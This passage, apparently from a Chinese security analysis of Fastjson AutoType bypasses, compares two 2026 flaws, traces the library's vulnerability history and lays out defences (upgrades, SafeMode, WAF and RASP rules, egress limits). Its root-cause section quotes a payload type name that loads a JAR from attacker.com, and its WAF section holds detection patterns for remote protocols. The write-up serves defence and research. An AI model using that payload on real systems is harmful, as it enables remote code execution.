CVE-2026-16723 影响 Fastjson 1.x 的 1.2.68-1.2.83 版本。该漏洞利用 checkAutoType() 中的资源探测路径:

// Fastjson 1.x checkAutoType 中的资源探测(简化)
public Class<?> checkAutoType(String typeName, ...) {
    // ... 黑名单检查 ...

    // ★ 资源探测: 将类名转换为路径并尝试加载 .class 资源 ★
    InputStream is = Thread.currentThread()
        .getContextClassLoader()
        .getResourceAsStream(typeName.replace('.', '/') + ".class");

    if (is != null) {
        // 资源存在 → 尝试加载该类
        // 这里的副作用: 如果 typeName 是 URL 格式, 会触发远程加载
    }
}

当 typeName 为 jar:http://attacker.com/evil.jar!/EvilClass 时,getResourceAsStream 会通过 jar: 协议下载远程 JAR 并探测类资源,探测过程中触发类加载和静态代码块执行。

7.2 详细对比

对比维度 QVD-2026-45876(Fastjson2) CVE-2026-16723(Fastjson 1.x)
影响库 Fastjson2 Fastjson 1.x
影响版本 ≤ 2.0.62 1.2.68 - 1.2.83
修复版本 2.0.63+ 1.2.84+
CVSS 9.8 9.0
触发条件 默认配置 默认配置
需要 SupportAutoType 否 否
需要 SafeMode 关闭 N/A(不受 SafeMode 影响) 是(SafeMode 可阻止)
绕过机制 FNV-1a 哈希碰撞绕过白名单 getResourceAsStream 资源探测副作用
远程加载 ContextClassLoader + jar: 协议 getResourceAsStream + jar: 协议
Gadget 依赖 无(Gadget-free) 无(Gadget-free)
触发位置 checkAutoType 白名单检查 checkAutoType 资源探测路径
在野利用 已确认 已确认
根因类型 哈希校验设计缺陷 资源探测副作用设计缺陷

7.3 根因对比分析

两个漏洞虽然都利用了 jar: 协议远程加载,但绕过 AutoType 检查的机制完全不同:

Fastjson2(QVD-2026-45876)的根因是哈希校验的信任过度——Fastjson2 完全信任 FNV-1a 哈希结果作为类型安全判断依据,不校验类型名称明文。这是一个加密学层面的设计缺陷(使用非加密哈希做安全决策)。

Fastjson 1.x(CVE-2026-16723)的根因是资源探测的意外副作用——checkAutoType 中用 getResourceAsStream 探测类是否存在,本意只是检查而非加载,但 jar: 协议的 getResourceAsStream 实现会触发远程下载甚至类初始化。这是一个副作用控制的设计缺陷。

两者的共同教训:反序列化框架的 AutoType 防御不应依赖单一检查点,更不应在检查过程中产生可能导致类加载的副作用。


八、Fastjson 漏洞史时间线

Fastjson 从诞生至今,安全漏洞层出不穷。以下是其主要 CVE 时间线:

时间 版本 CVE/编号 漏洞类型 CVSS 关键特征
2017 ≤1.2.24 CVE-2017-18349 AutoType RCE 9.8 无任何 AutoType 限制,直接 @type + JNDI
2019 1.2.47 CVE-2019-16163 AutoType 绕过 9.8 缓存污染绕过黑名单
2019 1.2.47 - AutoType 绕过 9.8 java.lang.Class 缓存投毒
2020 1.2.68 - SafeMode 引入 - 引入 safeMode 全局关闭 AutoType
2020 1.2.68-1.2.80 多个 expectClass 绕过 9.0 Throwable/AutoCloseable 二次解析
2022 1.2.83 - Gadget-free RCE 9.0 expectClass + 资源 URL 劫持
2022 2.0.x - Fastjson2 发布 - 全面重构 AutoType 防御
2024 2.0.50+ 多个 各种绕过 7.5-9.0 持续的攻防对抗
2026 1.2.68-1.2.83 CVE-2026-16723 资源探测 RCE 9.0 getResourceAsStream 副作用
2026 ≤2.0.62 QVD-2026-45876 FNV-1a 碰撞 RCE 9.8 哈希碰撞绕过白名单

8.1 防御演进阶段

Fastjson 安全防御演进时间线:

2017 ──────────────────────────────────────────── 2026
  │                                                │
  ├─ 蛮荒期 (≤1.2.24)          无 AutoType 限制    │
  │    └─ 直接 @type + JNDI 注入                   │
  │                                                │
  ├─ 黑名单期 (1.2.25-1.2.47)  denyList + checkAutoType
  │    └─ L前缀绕过 → 缓存污染 → 黑名单哈希化        │
  │                                                │
  ├─ SafeMode期 (1.2.68-1.2.83)  safeMode 全局关闭   │
  │    └─ expectClass 绕过 → 资源URL劫持 → 资源探测  │
  │                                                │
  ├─ 重构期 (Fastjson2 2.0.x)   全面重构 AutoType    │
  │    └─ FNV-1a 白名单 → 哈希碰撞绕过              │
  │                                                │
  └─ 当前 (2026)               QVD-2026-45876      │
       └─ 哈希碰撞 + ContextClassLoader 远程加载     │

8.2 反复失守的根本原因

Fastjson 漏洞频发的根本原因在于其架构设计层面的安全债务:

  1. @type 机制的本质矛盾:允许用户控制反序列化类型,这与"输入不可信"的安全原则根本冲突。任何基于黑名单/白名单的防御都只是延迟而非消除风险。

  2. 哈希黑/白名单的脆弱性:使用非加密哈希(FNV-1a)做安全决策,天然存在碰撞风险。黑名单只能覆盖已知威胁,白名单的哈希校验可被碰撞绕过。

  3. JDK 类加载的副作用:Java 的 Class.forName、getResourceAsStream、URLClassLoader 等 API 在类加载过程中会触发网络请求、文件 I/O 等副作用。反序列化框架难以完全隔离这些副作用。

  4. Gadget 链的不可穷尽性:JDK 和常用库中存在大量可被组合利用的类,新的 Gadget 链不断被发现,黑名单永远无法覆盖所有情况。


九、防御方案

9.1 版本升级(首要措施)

<!-- 升级到 Fastjson2 2.0.63+ -->
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.63</version> <!-- ★ 修复版本 ★ -->
</dependency>

<!-- Fastjson 1.x 升级到 1.2.84+ -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version> <!-- ★ 修复版本 ★ -->
</dependency>

2.0.63 的修复措施:

  • 白名单检查增加类型名称明文校验,不仅依赖哈希值
  • 对 jar: 协议 URL 类型的 @type 值进行显式拦截
  • checkAutoType 中禁止 ContextClassLoader 加载远程资源

9.2 SafeMode(纵深防御)

即使升级到修复版本,也建议开启 SafeMode 作为纵深防御:

// Fastjson2 开启 SafeMode
JSONFactory.getDefaultObjectReaderContext()
    .setEnabled(JSONReader.Feature.SupportAutoType, false);

// 或全局配置
System.setProperty("fastjson2.parser.autoTypeSupport", "false");

// Fastjson 1.x 开启 SafeMode
ParserConfig.getGlobalInstance().setSafeMode(true);
// JVM 参数: -Dfastjson.parser.safeMode=true

SafeMode 会完全禁用 AutoType,即使存在未知绕过也无法通过 @type 加载任意类。但需注意:开启 SafeMode 后,依赖 @type 多态反序列化的功能将失效,需评估业务影响。

9.3 迁移到 Jackson / Gson(终极方案)

Fastjson 的安全历史表明,@type 机制是漏洞的根源。彻底的解决方案是迁移到不默认支持类型自省的 JSON 库:

迁移到 Jackson:

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.17.0</version>
</dependency>
// Jackson 默认不启用类型自省
ObjectMapper mapper = new ObjectMapper();
// 如果需要多态反序列化, 显式启用并使用白名单
mapper.activateDefaultTyping(
    BasicPolymorphicTypeValidator.builder()
        .allowIfBaseType("com.mycompany.")  // 仅允许自己的包
        .build(),
    ObjectMapper.DefaultTyping.NON_FINAL
);

迁移到 Gson:

<dependency>
    <groupId>com.google.code.gson</groupId>
    <artifactId>gson</artifactId>
    <version>2.11.0</version>
</dependency>
// Gson 完全不支持 @type 自省, 天然免疫此类漏洞
Gson gson = new Gson();
MyObject obj = gson.fromJson(json, MyObject.class);

9.4 WAF 规则

# ModSecurity 规则: 拦截含 jar: 协议的 @type
SecRule REQUEST_BODY "@rx [\"']@type[\"']\s*:\s*[\"']jar:" \
    "id:100010,phase:2,deny,status:403,\
    msg:'Fastjson jar: protocol AutoType bypass attempt',\
    log,auditlog,severity:CRITICAL"

# 拦截所有含 @type 的 JSON(严格模式)
SecRule REQUEST_BODY "@rx [\"']@type[\"']\s*:" \
    "id:100011,phase:2,deny,status:403,\
    msg:'JSON @type field detected',\
    log,auditlog,severity:HIGH"

# 拦截含远程 URL 的 @type
SecRule REQUEST_BODY "@rx [\"']@type[\"']\s*:\s*[\"'](https?|jar|ldap|rmi):" \
    "id:100012,phase:2,deny,status:403,\
    msg:'Remote protocol in @type field',\
    log,auditlog,severity:CRITICAL"
-- OpenResty WAF 规则
local body = ngx.req.get_body_data()
if body then
    -- 检测 @type 字段
    if body:match('"@type"%s*:%s*"') then
        -- 检测危险协议
        if body:match('"@type"%s*:%s*"(jar:|http:|https:|ldap:|rmi:)') then
            ngx.log(ngx.WARN, "Fastjson AutoType bypass attempt detected")
            ngx.exit(403)
        end
    end
end

9.5 RASP 运行时防护

通过 RASP(Runtime Application Self-Protection)在运行时拦截危险类加载:

// RASP 钩子: 拦截 Class.forName 的危险调用
public class ClassForNameHook {
    public static void checkBefore(String className, boolean initialize,
                                    ClassLoader loader) {
        if (className != null && (
            className.startsWith("jar:") ||
            className.startsWith("http:") ||
            className.startsWith("https:")
        )) {
            throw new SecurityException(
                "Blocked remote class loading: " + className
            );
        }
    }
}

9.6 防御措施优先级

优先级 措施 效果 实施难度 业务影响
P0 升级 Fastjson2 2.0.63+ 修复漏洞 低 无
P0 升级 Fastjson 1.x 1.2.84+ 修复漏洞 低 无
P1 开启 SafeMode 纵深防御 低 可能影响多态功能
P1 WAF 规则拦截 jar: 协议 阻断利用 低 极小
P2 迁移 Jackson/Gson 根除风险 高 需重构代码
P2 RASP 运行时防护 深度防御 中 极小
P3 禁用出网(网络隔离) 阻断远程加载 中 需评估业务出网需求

9.7 网络隔离建议

由于该漏洞的 RCE 依赖远程 JAR 下载,限制应用服务器出网是最有效的网络层防御:

# iptables 规则: 禁止应用服务器主动出站连接
# 仅允许必要的白名单目标
iptables -A OUTPUT -m owner --uid-owner tomcat -j DROP
# 允许访问数据库
iptables -A OUTPUT -m owner --uid-owner tomcat \
    -d DB_IP -p tcp --dport 3306 -j ACCEPT
# 允许访问内部 API
iptables -A OUTPUT -m owner --uid-owner tomcat \
    -d INTERNAL_API_IP -p tcp --dport 8080 -j ACCEPT

即使存在未知的 AutoType 绕过,无法出网也就无法下载远程恶意 JAR,将 RCE 降级为 DoS 或信息泄露。


十、总结与反思

10.1 技术启示

  1. 非加密哈希不应用于安全决策:FNV-1a 是为哈希表设计的快速哈希函数,不具备抗碰撞性。将其用于安全白名单判断是根本性的设计缺陷。安全敏感场景应使用 SHA-256 等加密哈希,或直接进行字符串明文比对。

  2. 白名单优于黑名单,但白名单本身也需要校验:Fastjson2 从黑名单转向白名单是正确方向,但白名单的哈希校验可被碰撞绕过,使其形同虚设。白名单应同时校验哈希和明文。

  3. 检查过程中的副作用是致命的:checkAutoType 中的 getResourceAsStream 和 Class.forName 都可能在检查阶段触发类加载,将"检查"变成"执行"。安全检查必须是纯函数,不产生任何副作用。

  4. @type 机制的本质不可修复性:只要允许用户控制反序列化类型,就存在被绕过的可能。Fastjson 十年的攻防历史证明,修补单个绕过只是打地鼠。终极解决方案是迁移到不默认支持类型自省的 JSON 库。

  5. Gadget-free 是最危险的形态:本漏洞和 CVE-2026-16723 都是 Gadget-free 的——不需要任何第三方依赖,仅用 JDK 内置类即可完成攻击。这意味着攻击面覆盖所有使用受影响版本的应用,而非仅限特定依赖组合。

10.2 对企业的建议

  1. 立即排查:全局搜索项目中是否使用 Fastjson/Fastjson2,确认版本
  2. 优先升级:升级到修复版本(Fastjson2 2.0.63+,Fastjson 1.x 1.2.84+)
  3. 开启 SafeMode:作为纵深防御,即使升级后也建议开启
  4. 规划迁移:制定长期迁移计划,将 Fastjson 替换为 Jackson 或 Gson
  5. 网络隔离:限制应用服务器出网,降低 RCE 风险
  6. WAF 覆盖:部署 WAF 规则拦截 @type 和 jar: 协议
  7. SCA 扫描:将 Fastjson 版本检查纳入 CI/CD 的软件成分分析(SCA)流程

10.3 对框架设计者的警示

Fastjson 的十年漏洞史为所有序列化框架设计者提供了深刻教训:

  • 安全不是特性,是架构:@type 自省机制从设计之初就埋下了安全隐患,后续所有的黑名单、白名单、SafeMode 都是打补丁
  • 最小权限原则:反序列化框架默认不应允许加载任意类型,需要多态时应由开发者显式声明允许的类型范围
  • 检查与执行分离:安全检查代码路径中绝不能包含可能导致代码执行的 API 调用
  • 加密学正确使用:了解加密哈希与非加密哈希的区别,在安全场景使用正确的工具

免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。